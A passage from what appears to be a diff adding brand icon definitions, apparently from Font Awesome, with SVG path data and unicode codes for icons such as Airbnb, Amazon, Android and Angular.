24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"], + "accusoft": [640, 512, [], "f369", "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"], + "acquisitions-incorporated": [384, 512, [], "f6af", "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z"], + "adn": [496, 512, [], "f170", "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"], + "adversal": [512, 512, [], "f36a", "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"], + "affiliatetheme": [512, 512, [], "f36b", "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"], + "airbnb": [448, 512, [], "f834", "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"], + "algolia": [448, 512, [], "f36c", "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z"], + "alipay": [448, 512, [], "f642", "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"], + "amazon": [448, 512, [], "f270", "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"], + "amazon-pay": [640, 512, [], "f42c", "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"], + "amilia": [448, 512, [], "f36d", "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"], + "android": [576, 512, [], "f17b", "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"], + "angellist": [448, 512, [], "f209", "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"], + "angrycreative": [640, 512, [], "f36e", "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"], + "angular": [448, 512, [], "f420", "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"], + "app-store": [512, 512, [], "f36f", "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"], + "app-store-ios": [448, 512, [], "f370", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"], + "apper": [640, 512, [], "f371", "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"], + "apple": [384, 512, [], "f179", "M318.7 268.7c-.2-36.7 16.4-64.4 